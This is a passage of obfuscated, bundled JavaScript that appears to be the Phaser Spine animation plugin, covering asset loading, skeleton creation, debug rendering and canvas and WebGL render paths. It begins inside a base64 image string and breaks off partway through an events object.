oMX2aJz03fKO2sDJddPQSCDPiQ1DfWBycY6XtXstc2PQKuxgG2McmXTPb9/9vmuJYXKyJrWjbeg+3xPM4O73nWqvbyw7xgZZSJbEUBa157cNJjdr2vb+5iA1YV3HxYscj30PDCEHIgcjtfm8K8hSsmRotkwFk5s1TTghUAopB6xrjHMBBkI0YYTZ0dZlxwLpkiWDULpmy5gwqayZgZNkA7oKQQCxctByYg0XIIEQQuRitGVHblMTA2ShKGPDpC6wu+DEgJqg2rDGDBtAF4Q6RAojp1xXGmSMbImVcR+YWNY04eQCtUG1ofUJ2/uvcETIgUhhdAE5GAlkKShjwHTNmhhODKgJqQ2sC14uOgyfD0IbRF+MlQaZAiZWyn2yJsTJATqGnHQO2Jhh+xlsACFCG0QbRtdyzQFZCZSxYPpmTS7Q5cjJHYNBYIkZpu99HoUQ/o4QIYSIZUZfjJ4ZMjZI32wZBDMU5yhy8pZTULl4XYP5fagMyEVoy4oupTpGduwnkloSlKEwY+AcQU4MhRTD6ovXBRwFzwWgCSEF0QVjJUGmgEllTS5OLlCIlIN1mS9mx/cZ5eLDALpCTI2RAhkTZQqYoTgpoCPECbaBHQ2ETL3PUl98ECAXYijG0OyYAmQoTG7W5ODkAF1CnVgm2JQx4okPA+gCMTbGskBGgRmaOblAh5GTORIrfKFx4VH4EIAxIXIxlg2SBbMvECY3e7oApbDaIgQu5/2HmeEKEINYiwSRi7EQkLFgumZOCuggctKGI4ULZN/vMeSLj0AYMytWEqMLzFg4fYDaoKaC6wvOFR4FkIPQFaILxrJAOsHsc/zlfYDWXE8qF22s8Pz5KHxcgEVALBtjJXBSSEOwFhk1Zgy4hitCT4hVw+gFs8/zwxqIBbUgyK7fcyA0PD9XX4iVxhiC0xdof6STWCsoBmKF7+cVCWFXQYyBMxRpf+STX1b0x45AhN0OMSrOGEirhrY/dfQAdjvS7oy+WCF6r1RIFxXWvlTRg1YVqFWBmxZbD99ig9pt0YPQw9rD1nstVri9V+/Ve3XrS/wfim4P5fIFxLoAAAAASUVORK5CYII=', _0x4eb99a = class { constructor(_0x551a1e, _0x5163fa) { this['time'] = new _0x1a4d11(), _0x5163fa['pathPrefix'] || (_0x5163fa['pathPrefix'] = ''), _0x5163fa['app'] || (_0x5163fa['app'] = { 'loadAssets': () => { }, 'initialize': () => { }, 'update': () => { }, 'render': () => { }, 'error': () => { } }), _0x5163fa['webglConfig'] && (_0x5163fa['webglConfig'] = { 'alpha': !0x0 }), this['htmlCanvas'] = _0x551a1e, this['context'] = new _0x48af2d(_0x551a1e, _0x5163fa['webglConfig']), this['renderer'] = new _0x5179df(_0x551a1e, this['context']), this['gl'] = this['context']['gl'], this['assetManager'] = new _0x2b27f7(this['context'], _0x5163fa['pathPrefix']), this['input'] = new _0x2c6a0e(_0x551a1e), _0x5163fa['app']['loadAssets'] && _0x5163fa['app']['loadAssets'](this); let _0x3bcdbd = () => { requestAnimationFrame(_0x3bcdbd), this['time']['update'](), _0x5163fa['app']['update'] && _0x5163fa['app']['update'](this, this['time']['delta']), _0x5163fa['app']['render'] && _0x5163fa['app']['render'](this); }, _0x5a5c6c = () => { this['assetManager']['isLoadingComplete']() ? this['assetManager']['hasErrors']() ? _0x5163fa['app']['error'] && _0x5163fa['app']['error'](this, this['assetManager']['getErrors']()) : (_0x5163fa['app']['initialize'] && _0x5163fa['app']['initialize'](this), _0x3bcdbd()) : requestAnimationFrame(_0x5a5c6c); }; requestAnimationFrame(_0x5a5c6c); } ['clear'](_0x17579b, _0x4288c8, _0x3011df, _0x5df297) { this['gl']['clearColor'](_0x17579b, _0x4288c8, _0x3011df, _0x5df297), this['gl']['clear'](this['gl']['COLOR_BUFFER_BIT']); } }; return _0x18fb99 = _0x22a8c6, ((_0x2e5309, _0x54f535, _0x12ea33, _0x5a7444) => { if (_0x54f535 && 'object' == typeof _0x54f535 || 'function' == typeof _0x54f535) { for (let _0x679ccc of _0x20a792(_0x54f535)) _0x55d9c8['call'](_0x2e5309, _0x679ccc) || _0x679ccc === _0x12ea33 || _0x1c9408(_0x2e5309, _0x679ccc, { 'get': () => _0x54f535[_0x679ccc], 'enumerable': !(_0x5a7444 = _0x4c8e76(_0x54f535, _0x679ccc)) || _0x5a7444['enumerable'] }); } return _0x2e5309; })(_0x1c9408({}, '__esModule', { 'value': !0x0 }), _0x18fb99); })()); _0x369fb7['exports'] = _0x8d3dcd; }['call'](window)); }, 0xdc4: (_0x3aca44, _0x5e738f, _0x40d3cf) => { var _0x87e7f2 = _0x40d3cf(0x1d31), _0x2d028d = _0x40d3cf(0x11f5), _0x925226 = _0x40d3cf(0x1a4c), _0x4aaba5 = _0x40d3cf(0x9b2), _0x2c3c42 = _0x40d3cf(0x2c0), _0x4a44c2 = _0x40d3cf(0xc41), _0x20d7f0 = _0x40d3cf(0x4a8), _0x27b9f8 = new _0x87e7f2({ 'Extends': _0x4a44c2, 'initialize': function (_0x2c022d, _0x1b3c1f, _0x3c6d62, _0x55ea2b, _0x17e25b, _0x168b9d, _0x31b842) { var _0x568a97, _0x34ac43, _0x3de855, _0x38f7c9 = [], _0x1d856b = _0x2c022d['cacheManager']['custom']['spine']; if (_0x4aaba5(_0x1b3c1f)) { var _0xc9ce62 = _0x1b3c1f; for (_0x1b3c1f = _0x2d028d(_0xc9ce62, 'key'), _0x34ac43 = new _0x2c3c42(_0x2c022d, { 'key': _0x1b3c1f, 'url': _0x2d028d(_0xc9ce62, 'jsonURL'), 'extension': _0x2d028d(_0xc9ce62, 'jsonExtension', 'json'), 'xhrSettings': _0x2d028d(_0xc9ce62, 'jsonXhrSettings') }), _0x55ea2b = _0x2d028d(_0xc9ce62, 'atlasURL'), _0x17e25b = _0x2d028d(_0xc9ce62, 'preMultipliedAlpha'), Array['isArray'](_0x55ea2b) || (_0x55ea2b = [_0x55ea2b]), _0x568a97 = 0x0; _0x568a97 < _0x55ea2b['length']; _0x568a97++)(_0x3de855 = new _0x20d7f0(_0x2c022d, { 'key': _0x1b3c1f + '!' + _0x568a97, 'url': _0x55ea2b[_0x568a97], 'extension': _0x2d028d(_0xc9ce62, 'atlasExtension', 'atlas'), 'xhrSettings': _0x2d028d(_0xc9ce62, 'atlasXhrSettings') }))['cache'] = _0x1d856b, _0x38f7c9['push'](_0x3de855); } else { for (_0x34ac43 = new _0x2c3c42(_0x2c022d, _0x1b3c1f, _0x3c6d62, _0x168b9d), Array['isArray'](_0x55ea2b) || (_0x55ea2b = [_0x55ea2b]), _0x568a97 = 0x0; _0x568a97 < _0x55ea2b['length']; _0x568a97++)(_0x3de855 = new _0x20d7f0(_0x2c022d, _0x1b3c1f + '!' + _0x568a97, _0x55ea2b[_0x568a97], _0x31b842))['cache'] = _0x1d856b, _0x38f7c9['push'](_0x3de855); } _0x38f7c9['unshift'](_0x34ac43), _0x4a44c2['call'](this, _0x2c022d, 'spine', _0x1b3c1f, _0x38f7c9), this['config']['preMultipliedAlpha'] = _0x17e25b; }, 'onFileComplete': function (_0xba110c) { if (-0x1 !== this['files']['indexOf'](_0xba110c) && (this['pending']--, 'text' === _0xba110c['type'])) { for (var _0xb4e09b = _0xba110c['data']['split']('\x0a'), _0x5df22f = [_0xb4e09b[0x0]], _0x430547 = 0x0; _0x430547 < _0xb4e09b['length']; _0x430547++) { var _0x4eeaf5 = _0xb4e09b[_0x430547]; '' === _0x4eeaf5['trim']() && _0x430547 < _0xb4e09b['length'] - 0x1 && (_0x4eeaf5 = _0xb4e09b[_0x430547 + 0x1], _0x5df22f['push'](_0x4eeaf5)); } var _0x40e791 = this['config'], _0x55341b = this['loader'], _0x44f9f2 = _0x55341b['baseURL'], _0x471536 = _0x55341b['path'], _0xb53b3d = _0x55341b['prefix'], _0x343d2a = _0x2d028d(_0x40e791, 'baseURL', this['baseURL']), _0x3a0256 = _0x2d028d(_0x40e791, 'path', _0xba110c['src']['match'](/^.*\//))[0x0], _0x5e5dcf = _0x2d028d(_0x40e791, 'prefix', this['prefix']), _0x47e751 = _0x2d028d(_0x40e791, 'textureXhrSettings'); _0x55341b['setBaseURL'](_0x343d2a), _0x55341b['setPath'](_0x3a0256), _0x55341b['setPrefix'](_0x5e5dcf); for (var _0x40eb33 = 0x0; _0x40eb33 < _0x5df22f['length']; _0x40eb33++) { var _0x1f5ed3 = _0x5df22f[_0x40eb33], _0x291533 = new _0x925226(_0x55341b, _0x1f5ed3, _0x1f5ed3, _0x47e751); _0x55341b['keyExists'](_0x291533) || (this['addToMultiFile'](_0x291533), _0x55341b['addFile'](_0x291533)); } _0x55341b['setBaseURL'](_0x44f9f2), _0x55341b['setPath'](_0x471536), _0x55341b['setPrefix'](_0xb53b3d); } }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x124a6f; this['files'][0x0]['addToCache'](); for (var _0x3b8683 = '', _0x5dbc1b = '', _0x1697d4 = !!this['config']['preMultipliedAlpha'], _0x347568 = this['loader']['textureManager'], _0x2a083c = 0x1; _0x2a083c < this['files']['length']; _0x2a083c++) { var _0x1cebd5 = this['files'][_0x2a083c]; if ('text' === _0x1cebd5['type']) _0x3b8683 = _0x1cebd5['key']['replace'](/![\d]$/, ''), _0x124a6f = _0x1cebd5['cache'], _0x5dbc1b = _0x5dbc1b['concat'](_0x1cebd5['data']); else { var _0xf7e04d = _0x1cebd5['key']['trim'](), _0x55d974 = _0xf7e04d['indexOf']('!'), _0x28b109 = _0xf7e04d['substr'](_0x55d974 + 0x1); _0x347568['exists'](_0x28b109) || _0x347568['addImage'](_0x28b109, _0x1cebd5['data']); } _0x1cebd5['pendingDestroy'](); } _0x124a6f['add'](_0x3b8683, { 'preMultipliedAlpha': _0x1697d4, 'data': _0x5dbc1b, 'prefix': this['prefix'] }), this['complete'] = !0x0; } } }); _0x3aca44['exports'] = _0x27b9f8; }, 0x11a1: (_0x2323a5, _0x3e87f8, _0x16f8bb) => { var _0x4a6530 = _0x16f8bb(0x9be), _0x40783b = _0x16f8bb(0x1d31), _0x2c5da7 = _0x16f8bb(0x16db), _0xea0dae = _0x16f8bb(0xdc7), _0x2feded = _0x16f8bb(0x165a), _0x18e942 = { 'canvas': _0x16f8bb(0x1427), 'webgl': _0x16f8bb(0x1d5e) }, _0x435d7d = _0x16f8bb(0xdc4), _0x7707d0 = _0x16f8bb(0x208c), _0x17024e = _0x16f8bb(0x1696), _0x284d29 = _0x16f8bb(0x7c0), _0x2c5c1d = new _0x40783b({ 'Extends': _0x2feded, 'initialize': function (_0xca3154, _0x3ea6fd, _0x31732b) { _0x2feded['call'](this, _0xca3154, _0x3ea6fd, _0x31732b); var _0x3d2e7e = _0x3ea6fd['game']; this['isWebGL'] = 0x2 === _0x3d2e7e['config']['renderType'], this['cache'] = _0x3d2e7e['cache']['addCustom']('spine'), this['spineTextures'] = _0x3d2e7e['cache']['addCustom']('spineTextures'), this['json'] = _0x3d2e7e['cache']['json'], this['textures'] = _0x3d2e7e['textures'], this['drawDebug'] = !0x1, this['gl'], this['renderer'], this['sceneRenderer'], this['skeletonRenderer'], this['skeletonDebugRenderer'], this['plugin'] = _0x18e942, this['temp1'], this['temp2'], this['isWebGL'] ? (this['runtime'] = _0x18e942['webgl'], this['renderer'] = _0x3d2e7e['renderer'], this['gl'] = _0x3d2e7e['renderer']['gl'], this['getAtlas'] = this['getAtlasWebGL']) : (this['runtime'] = _0x18e942['canvas'], this['renderer'] = _0x3d2e7e['renderer'], this['getAtlas'] = this['getAtlasCanvas']), this['renderer'] || (this['renderer'] = { 'width': _0x3d2e7e['scale']['width'], 'height': _0x3d2e7e['scale']['height'], 'preRender': _0x284d29, 'postRender': _0x284d29, 'render': _0x284d29, 'destroy': _0x284d29 }), (_0x3ea6fd['registerFileType']('spine', this['spineFileCallback'], _0xca3154), _0x3ea6fd['registerGameObject']('spine', function (_0xab2132, _0x1ef895, _0x5a3ceb, _0x54086, _0x35cf83) { var _0x568863 = this['scene']['sys'][_0x31732b], _0x286ba7 = new _0x7707d0(this['scene'], _0x568863, _0xab2132, _0x1ef895, _0x5a3ceb, _0x54086, _0x35cf83); return this['displayList']['add'](_0x286ba7), this['updateList']['add'](_0x286ba7), _0x286ba7; }, function (_0x168e54, _0x5c3913) { void 0x0 === _0x168e54 && (_0x168e54 = {}); var _0x159f5a = _0x2c5da7(_0x168e54, 'key', null), _0x4d60be = _0x2c5da7(_0x168e54, 'animationName', null), _0x36206c = _0x2c5da7(_0x168e54, 'loop', !0x1), _0x4f9bd3 = this['scene']['sys'][_0x31732b], _0x41957a = new _0x7707d0(this['scene'], _0x4f9bd3, 0x0, 0x0, _0x159f5a, _0x4d60be, _0x36206c); void 0x0 !== _0x5c3913 && (_0x168e54['add'] = _0x5c3913), _0x4a6530(this['scene'], _0x41957a, _0x168e54); var _0x511467 = _0x2c5da7(_0x168e54, 'skinName', !0x1); _0x511467 && _0x41957a['setSkinByName'](_0x511467); var _0x507ce0 = _0x2c5da7(_0x168e54, 'slotName', !0x1), _0x377347 = _0x2c5da7(_0x168e54, 'attachmentName', null); return _0x507ce0 && _0x41957a['setAttachment'](_0x507ce0, _0x377347), _0x41957a['refresh'](); }), _0x3ea6fd['registerGameObject']('spineContainer', function (_0x13fcc9, _0x3c9ff3, _0x33883a) { var _0x534808 = this['scene']['sys'][_0x31732b], _0x2cf56b = new _0x17024e(this['scene'], _0x534808, _0x13fcc9, _0x3c9ff3, _0x33883a); return this['displayList']['add'](_0x2cf56b), _0x2cf56b; }, function (_0x138586, _0x40be7a) { void 0x0 === _0x138586 && (_0x138586 = {}); var _0x1e7948 = _0x2c5da7(_0x138586, 'x', 0x0), _0x1de1de = _0x2c5da7(_0x138586, 'y', 0x0), _0x1742e1 = _0x2c5da7(_0x138586, 'children', null), _0x335284 = this['scene']['sys'][_0x31732b], _0x5bc9dd = new _0x17024e(this['scene'], _0x335284, _0x1e7948, _0x1de1de, _0x1742e1); return void 0x0 !== _0x40be7a && (_0x138586['add'] = _0x40be7a), _0x4a6530(this['scene'], _0x5bc9dd, _0x138586), _0x5bc9dd; })); }, 'boot': function () { this['isWebGL'] ? (this['bootWebGL'](), this['onResize'](), this['game']['scale']['on'](_0xea0dae, this['onResize'], this)) : this['bootCanvas'](); var _0x396b29 = this['systems']['events']; _0x396b29['once']('shutdown', this['shutdown'], this), _0x396b29['once']('destroy', this['destroy'], this), this['game']['events']['once']('destroy', this['gameDestroy'], this); }, 'bootCanvas': function () { this['skeletonRenderer'] = new _0x18e942['canvas']['SkeletonRenderer'](this['scene']['sys']['context']); }, 'bootWebGL': function () { var _0x21a8f4 = this['renderer']['spineSceneRenderer']; _0x21a8f4 || (_0x21a8f4 = new _0x18e942['webgl']['SceneRenderer'](this['renderer']['canvas'], this['gl'], !0x0), this['renderer']['spineSceneRenderer'] = _0x21a8f4), this['sceneRenderer'] = _0x21a8f4, this['skeletonRenderer'] = _0x21a8f4['skeletonRenderer'], this['skeletonDebugRenderer'] = _0x21a8f4['skeletonDebugRenderer'], this['temp1'] = new _0x18e942['webgl']['Vector3'](0x0, 0x0, 0x0), this['temp2'] = new _0x18e942['webgl']['Vector3'](0x0, 0x0, 0x0); }, 'getAtlasCanvas': function (_0x1a388f) { var _0x2ec7c4 = this['cache']['get'](_0x1a388f); if (_0x2ec7c4) { var _0x187b4c, _0x1da551 = this['spineTextures']; if (_0x1da551['has'](_0x1a388f)) _0x187b4c = _0x1da551['get'](_0x1a388f); else { var _0x59bf06 = this['textures']; _0x187b4c = new this['runtime']['TextureAtlas'](_0x2ec7c4['data'], function (_0xc500b5) { return new _0x18e942['canvas']['CanvasTexture'](_0x59bf06['get'](_0x2ec7c4['prefix'] + _0xc500b5)['getSourceImage']()); }); } return _0x187b4c; } }, 'getAtlasWebGL': function (_0x222017) { var _0x42ebff = this['cache']['get'](_0x222017); if (_0x42ebff) { var _0x1ed665, _0x115d21 = this['spineTextures']; if (_0x115d21['has'](_0x222017)) _0x1ed665 = _0x115d21['get'](_0x222017); else { var _0x262f7c = this['textures'], _0x3776f4 = this['sceneRenderer']['context']['gl']; _0x3776f4['pixelStorei'](_0x3776f4['UNPACK_PREMULTIPLY_ALPHA_WEBGL'], !0x1), _0x1ed665 = new this['runtime']['TextureAtlas'](_0x42ebff['data'], function (_0x4ac744) { return new _0x18e942['webgl']['GLTexture'](_0x3776f4, _0x262f7c['get'](_0x42ebff['prefix'] + _0x4ac744)['getSourceImage'](), !0x1); }); } return _0x1ed665; } }, 'spineFileCallback': function (_0x561e8e, _0x3fabee, _0x2f7af2, _0x3d74a2, _0x654a3e, _0x1df519, _0x497d5a) { var _0x44c107; if (_0x497d5a = _0x497d5a || {}, Array['isArray'](_0x561e8e)) { for (var _0x5b76c9 = 0x0; _0x5b76c9 < _0x561e8e['length']; _0x5b76c9++)(_0x44c107 = new _0x435d7d(this, _0x561e8e[_0x5b76c9]))['prefix'] = _0x44c107['prefix'] || _0x497d5a['prefix'] || '', this['addFile'](_0x44c107['files']); } else (_0x44c107 = new _0x435d7d(this, _0x561e8e, _0x3fabee, _0x2f7af2, _0x3d74a2, _0x654a3e, _0x1df519))['prefix'] = _0x44c107['prefix'] || _0x497d5a['prefix'] || '', this['addFile'](_0x44c107['files']); return this; }, 'worldToLocal': function (_0x17174e, _0x4f42b9, _0x397cc9, _0x5b8f11) { var _0x3e0b6f = this['temp1'], _0x55d014 = this['temp2'], _0x160d5a = this['sceneRenderer']['camera']; _0x3e0b6f['set'](_0x17174e + _0x397cc9['x'], _0x4f42b9 - _0x397cc9['y'], 0x0); var _0x531d37 = _0x160d5a['viewportWidth'], _0x225cc1 = _0x160d5a['viewportHeight']; return _0x160d5a['screenToWorld'](_0x3e0b6f, _0x531d37, _0x225cc1), _0x5b8f11 && null !== _0x5b8f11['parent'] ? (_0x5b8f11['parent']['worldToLocal'](_0x55d014['set'](_0x3e0b6f['x'] - _0x397cc9['x'], _0x3e0b6f['y'] - _0x397cc9['y'], 0x0)), new this['runtime']['Vector2'](_0x55d014['x'], _0x55d014['y'])) : _0x5b8f11 ? new this['runtime']['Vector2'](_0x3e0b6f['x'] - _0x397cc9['x'], _0x3e0b6f['y'] - _0x397cc9['y']) : new this['runtime']['Vector2'](_0x3e0b6f['x'], _0x3e0b6f['y']); }, 'getVector2': function (_0x10b309, _0x393aa8) { return new this['runtime']['Vector2'](_0x10b309, _0x393aa8); }, 'getVector3': function (_0x46eae2, _0x17622e, _0x1d3074) { return new _0x18e942['webgl']['Vector3'](_0x46eae2, _0x17622e, _0x1d3074); }, 'setDebugBones': function (_0x1efc66) { return void 0x0 === _0x1efc66 && (_0x1efc66 = !0x0), this['skeletonDebugRenderer']['drawBones'] = _0x1efc66, this; }, 'setDebugRegionAttachments': function (_0x1b2d2d) { return void 0x0 === _0x1b2d2d && (_0x1b2d2d = !0x0), this['skeletonDebugRenderer']['drawRegionAttachments'] = _0x1b2d2d, this; }, 'setDebugBoundingBoxes': function (_0x401da9) { return void 0x0 === _0x401da9 && (_0x401da9 = !0x0), this['skeletonDebugRenderer']['drawBoundingBoxes'] = _0x401da9, this; }, 'setDebugMeshHull': function (_0x1771de) { return void 0x0 === _0x1771de && (_0x1771de = !0x0), this['skeletonDebugRenderer']['drawMeshHull'] = _0x1771de, this; }, 'setDebugMeshTriangles': function (_0x1865e4) { return void 0x0 === _0x1865e4 && (_0x1865e4 = !0x0), this['skeletonDebugRenderer']['drawMeshTriangles'] = _0x1865e4, this; }, 'setDebugPaths': function (_0x1c2256) { return void 0x0 === _0x1c2256 && (_0x1c2256 = !0x0), this['skeletonDebugRenderer']['drawPaths'] = _0x1c2256, this; }, 'setDebugSkeletonXY': function (_0x3f6faf) { return void 0x0 === _0x3f6faf && (_0x3f6faf = !0x0), this['skeletonDebugRenderer']['drawSkeletonXY'] = _0x3f6faf, this; }, 'setDebugClipping': function (_0x128c19) { return void 0x0 === _0x128c19 && (_0x128c19 = !0x0), this['skeletonDebugRenderer']['drawClipping'] = _0x128c19, this; }, 'setEffect': function (_0x3b8db7) { return this['sceneRenderer']['skeletonRenderer']['vertexEffect'] = _0x3b8db7, this; }, 'createSkeleton': function (_0x44db05, _0x41a373) { var _0x34d8d6 = _0x44db05, _0x40bc3b = _0x44db05, _0x561267 = -0x1 !== _0x44db05['indexOf']('.'); if (_0x561267) { var _0x37340e = _0x44db05['split']('.'); _0x34d8d6 = _0x37340e['shift'](), _0x40bc3b = _0x37340e['join']('.'); } var _0x441327 = this['cache']['get'](_0x34d8d6), _0x44f9c7 = this['getAtlas'](_0x34d8d6); if (!_0x44f9c7) return null; if (!this['spineTextures']['has'](_0x34d8d6)) { var _0x5bf023, _0x356fbd, _0x4ca033, _0x58c627 = this['gl']; for (this['isWebGL'] && _0x58c627['pixelStorei'](_0x58c627['UNPACK_PREMULTIPLY_ALPHA_WEBGL'], !0x1), _0x5bf023 = 0x0; _0x5bf023 < _0x44f9c7['pages']['length']; _0x5bf023++)_0x356fbd = _0x44f9c7['pages'][_0x5bf023], _0x4ca033 = _0x441327['prefix'] ? _0x441327['prefix'] + _0x356fbd['name'] : _0x356fbd['name'], this['isWebGL'] ? _0x356fbd['setTexture'](new this['runtime']['GLTexture'](_0x58c627, this['textures']['get'](_0x4ca033)['getSourceImage'](), !0x1)) : _0x356fbd['setTexture'](new this['runtime']['CanvasTexture'](this['textures']['get'](_0x4ca033)['getSourceImage']())); this['spineTextures']['add'](_0x34d8d6, _0x44f9c7); } var _0x3fa2d8, _0x109620 = _0x441327['preMultipliedAlpha'], _0x5aacae = new this['runtime']['AtlasAttachmentLoader'](_0x44f9c7), _0x445517 = new this['runtime']['SkeletonJson'](_0x5aacae); if (_0x41a373) _0x3fa2d8 = _0x41a373; else { var _0x21429a = this['json']['get'](_0x34d8d6); _0x3fa2d8 = _0x561267 ? _0x2c5da7(_0x21429a, _0x40bc3b) : _0x21429a; } if (_0x3fa2d8) { var _0x1ed613 = _0x445517['readSkeletonData'](_0x3fa2d8); return { 'skeletonData': _0x1ed613, 'skeleton': new this['runtime']['Skeleton'](_0x1ed613), 'preMultipliedAlpha': _0x109620 }; } return null; }, 'createAnimationState': function (_0x380af4) { var _0x11ca3b = new this['runtime']['AnimationStateData'](_0x380af4['data']); return { 'stateData': _0x11ca3b, 'state': new this['runtime']['AnimationState'](_0x11ca3b) }; }, 'getBounds': function (_0x29255f) { var _0x35057d = new this['runtime']['Vector2'](), _0x474334 = new this['runtime']['Vector2'](); return _0x29255f['getBounds'](_0x35057d, _0x474334, []), { 'offset': _0x35057d, 'size': _0x474334 }; }, 'onResize': function () { var _0x10a501 = this['renderer'], _0x2fa560 = this['sceneRenderer'], _0x5a1e06 = _0x10a501['width'], _0xee3d66 = _0x10a501['height']; _0x2fa560['camera']['position']['x'] = _0x5a1e06 / 0x2, _0x2fa560['camera']['position']['y'] = _0xee3d66 / 0x2, _0x2fa560['camera']['setViewport'](_0x5a1e06, _0xee3d66); }, 'shutdown': function () { this['systems']['events']['off']('shutdown', this['shutdown'], this), this['isWebGL'] && this['game']['scale']['off'](_0xea0dae, this['onResize'], this); }, 'destroy': function () { this['shutdown'](), this['game'] = null, this['scene'] = null, this['systems'] = null, this['cache'] = null, this['spineTextures'] = null, this['json'] = null, this['textures'] = null, this['skeletonRenderer'] = null, this['gl'] = null; }, 'gameDestroy': function () { this['pluginManager']['removeGameObject']('spine', !0x0, !0x0), this['pluginManager']['removeGameObject']('spineContainer', !0x0, !0x0), this['pluginManager'] = null; var _0x3b6949 = this['renderer']['spineSceneRenderer']; _0x3b6949 && _0x3b6949['dispose'](), this['renderer']['spineSceneRenderer'] = null, this['sceneRenderer'] = null; } }); _0x2c5c1d['SpineGameObject'] = _0x7707d0, _0x2c5c1d['SpineContainer'] = _0x17024e, _0x2323a5['exports'] = _0x2c5c1d; }, 0x1696: (_0x4d6eb7, _0x2eaa0, _0x7d881e) => { var _0x5216dd = _0x7d881e(0x1d31), _0x3f086d = _0x7d881e(0x1cc1), _0x5c596a = _0x7d881e(0x1e3a), _0x2c0df4 = new _0x5216dd({ 'Extends': _0x3f086d, 'Mixins': [_0x5c596a], 'initialize': function (_0x1028fa, _0x3b5206, _0x275e00, _0x2a5bea, _0x1a224e) { _0x3f086d['call'](this, _0x1028fa, _0x275e00, _0x2a5bea, _0x1a224e), this['type'] = 'Spine', this['plugin'] = _0x3b5206; }, 'preDestroy': function () { this['removeAll'](!!this['exclusive']), this['localTransform']['destroy'](), this['tempTransformMatrix']['destroy'](), this['list'] = [], this['_displayList'] = null, this['plugin'] = null; } }); _0x4d6eb7['exports'] = _0x2c0df4; }, 0x1f80: _0x3877b4 => { _0x3877b4['exports'] = function (_0x4ac894, _0x42f72d, _0x1d0277, _0x3d8650) { var _0x39347c = _0x42f72d['list']; if (0x0 !== _0x39347c['length']) { _0x1d0277['addToRenderList'](_0x42f72d); var _0x57cd48 = _0x42f72d['localTransform']; _0x3d8650 ? (_0x57cd48['loadIdentity'](), _0x57cd48['multiply'](_0x3d8650), _0x57cd48['translate'](_0x42f72d['x'], _0x42f72d['y']), _0x57cd48['rotate'](_0x42f72d['rotation']), _0x57cd48['scale'](_0x42f72d['scaleX'], _0x42f72d['scaleY'])) : _0x57cd48['applyITRS'](_0x42f72d['x'], _0x42f72d['y'], _0x42f72d['rotation'], _0x42f72d['scaleX'], _0x42f72d['scaleY']); var _0x4de47b = -0x1 !== _0x42f72d['blendMode']; _0x4de47b || _0x4ac894['setBlendMode'](0x0); var _0x58e359 = _0x42f72d['_alpha'], _0x1daab9 = _0x42f72d['scrollFactorX'], _0x51c89c = _0x42f72d['scrollFactorY']; _0x42f72d['mask'] && _0x42f72d['mask']['preRenderCanvas'](_0x4ac894, null, _0x1d0277); for (var _0x410c5e = 0x0; _0x410c5e < _0x39347c['length']; _0x410c5e++) { var _0x108035 = _0x39347c[_0x410c5e]; if (_0x108035['willRender'](_0x1d0277)) { var _0x47f7c4 = _0x108035['alpha'], _0x58c376 = _0x108035['scrollFactorX'], _0x37bdad = _0x108035['scrollFactorY']; _0x4de47b || _0x108035['blendMode'] === _0x4ac894['currentBlendMode'] || _0x4ac894['setBlendMode'](_0x108035['blendMode']), _0x108035['setScrollFactor'](_0x58c376 * _0x1daab9, _0x37bdad * _0x51c89c), _0x108035['setAlpha'](_0x47f7c4 * _0x58e359), _0x108035['renderCanvas'](_0x4ac894, _0x108035, _0x1d0277, _0x57cd48), _0x108035['setAlpha'](_0x47f7c4), _0x108035['setScrollFactor'](_0x58c376, _0x37bdad); } } _0x42f72d['mask'] && _0x42f72d['mask']['postRenderCanvas'](_0x4ac894); } }; }, 0x1e3a: (_0x2430ce, _0x1b623d, _0x56c634) => { var _0x366f03 = _0x56c634(0x7c0), _0x4b20d6 = _0x56c634(0x7c0); _0x366f03 = _0x56c634(0x1b2), _0x4b20d6 = _0x56c634(0x1f80), _0x2430ce['exports'] = { 'renderWebGL': _0x366f03, 'renderCanvas': _0x4b20d6 }; }, 0x1b2: _0x579894 => { _0x579894['exports'] = function (_0x3d68e6, _0x32166f, _0x44f117, _0x212833) { var _0xd0ad89 = _0x32166f['plugin']['sceneRenderer'], _0x44b96d = _0x32166f['list']; if (0x0 !== _0x44b96d['length']) { _0x44f117['addToRenderList'](_0x32166f); var _0x3df36e = _0x32166f['localTransform']; _0x212833 ? (_0x3df36e['loadIdentity'](), _0x3df36e['multiply'](_0x212833), _0x3df36e['translate'](_0x32166f['x'], _0x32166f['y']), _0x3df36e['rotate'](_0x32166f['rotation']), _0x3df36e['scale'](_0x32166f['scaleX'], _0x32166f['scaleY'])) : _0x3df36e['applyITRS'](_0x32166f['x'], _0x32166f['y'], _0x32166f['rotation'], _0x32166f['scaleX'], _0x32166f['scaleY']), _0x3d68e6['newType'] && (_0x3d68e6['pipelines']['clear'](), _0xd0ad89['begin']()); var _0x3a5ecb = _0x3d68e6['nextTypeMatch']; _0x3d68e6['nextTypeMatch'] = !0x0, _0x3d68e6['newType'] = !0x1; for (var _0x2d3d0d = 0x0; _0x2d3d0d < _0x44b96d['length']; _0x2d3d0d++) { var _0x1e2756 = _0x44b96d[_0x2d3d0d]; if (_0x1e2756['willRender'](_0x44f117, _0x32166f)) { var _0x4b68aa = _0x1e2756['mask']; _0x4b68aa && (_0xd0ad89['end'](), _0x3d68e6['pipelines']['rebind'](), _0x4b68aa['preRenderWebGL'](_0x3d68e6, _0x1e2756, _0x44f117), _0x3d68e6['pipelines']['clear'](), _0xd0ad89['begin']()), _0x1e2756['renderWebGL'](_0x3d68e6, _0x1e2756, _0x44f117, _0x3df36e, _0x32166f), _0x4b68aa && (_0xd0ad89['end'](), _0x3d68e6['pipelines']['rebind'](), _0x4b68aa['postRenderWebGL'](_0x3d68e6, _0x44f117), _0x3d68e6['pipelines']['clear'](), _0xd0ad89['begin']()); } } _0x3d68e6['nextTypeMatch'] = _0x3a5ecb, _0x3a5ecb || (_0xd0ad89['end'](), _0x3d68e6['pipelines']['rebind']()); } else _0xd0ad89['batcher']['isDrawing'] && _0x3d68e6['finalType'] && (_0xd0ad89['end'](), _0x3d68e6['pipelines']['rebind']()); }; }, 0x19b0: _0x2d4989 => { _0x2d4989['exports'] = 'complete'; }, 0x21ad: _0x2af98d => { _0x2af98d['exports'] = 'dispose'; }, 0x22f0: _0x7f4c38 => { _0x7f4c38['exports'] = 'end'; }, 0x1d46: _0x458709 => { _0x458709['exports'] = 'event'; }, 0x774: _0x260246 => { _0x260246['exports'] = 'interrupted'; }, 0x15d7: _0x469363 => { _0x469363['exports'] = 'start'; }, 0x141a: (_0x282aab, _0x5512f3, _0x3bb63a) => { _0x282aab['exports'] = { 'COMPLETE': _0x3bb63a(0x19b0), 'DISPOSE': _0x3bb63a(0x21ad), 'END': _0x3bb63a(0x22f0), 'EVENT': _0x3bb63a(0x1d46), 